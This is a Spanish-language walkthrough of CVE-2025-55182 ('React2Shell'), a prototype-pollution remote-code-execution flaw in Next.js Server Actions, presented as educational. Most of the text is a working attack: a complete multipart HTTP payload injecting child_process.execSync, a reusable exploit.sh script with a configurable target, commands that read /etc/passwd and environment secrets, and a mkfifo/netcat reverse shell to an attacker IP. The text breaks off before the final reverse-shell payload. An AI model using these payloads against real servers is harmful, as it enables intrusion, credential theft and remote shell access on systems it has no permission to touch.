
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilizan React Server Components (RSC) y Server Actions.
⚠️ Descargo de responsabilidad: Esta documentación se proporciona solo con fines educativos y de investigación de seguridad. Cualquier uso no autorizado de estas técnicas contra sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas es ilegal.
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilicen:
Un atacante puede lograr Ejecución Remota de Código (RCE) en el servidor explotando:
__proto__ y constructorConsecuencia: Se pueden ejecutar comandos arbitrarios del sistema con los privilegios del proceso de Node.js.
Next.js utiliza un protocolo multipart/form-data propietario para la comunicación entre cliente y servidor:
Cliente (Navegador)
↓
[payload RSC multipart/form-data]
↓
Servidor Next.js
↓
Deserialización + Ejecución
↓
Respuesta
La vulnerabilidad existe porque:
__proto__, constructor)Un atacante puede crear un payload que modifique propiedades internas de objetos:
{
"then": "$1:__proto__:then", // Apunta a la cadena de prototipos
"_response": {
"_prefix": "código malicioso aquí" // Inyección de código
}
}
Al explotar __proto__, el atacante contamina el prototipo de los objetos JavaScript, afectando a todos los objetos que heredan de él.
Dentro del campo _prefix, el atacante inyecta código JavaScript que:
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
El resultado del comando se oculta en la respuesta de error:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js devuelve este error al cliente y la salida del comando es visible en el campo digest.
# Clonar el PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Instalar Node.js 20
nvm install 20
nvm use 20
# Instalar dependencias
cd test-server
npm install
npm run dev
El servidor ahora es accesible en:
http://localhost:3000
curl http://localhost:3000/
En esta etapa, el servidor se comporta con normalidad.
http://localhost:3000/ en su navegadorSe interceptará una solicitud GET. Envíela a la pestaña Repeater:
Reemplace toda la solicitud con el siguiente payload:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Haga clic en Send
Cree un archivo exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Construir el payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Reemplazar el comando
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Enviar la solicitud
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Hágalo ejecutable:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Para obtener acceso interactivo completo a la shell, use una reverse shell.
ncat -lvnp 9009
O con netcat:
nc -lvnp 9009
Modifique el payload con el siguiente comando (reemplace <ATTACKER_IP> con su dirección IP):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
El payload completo queda: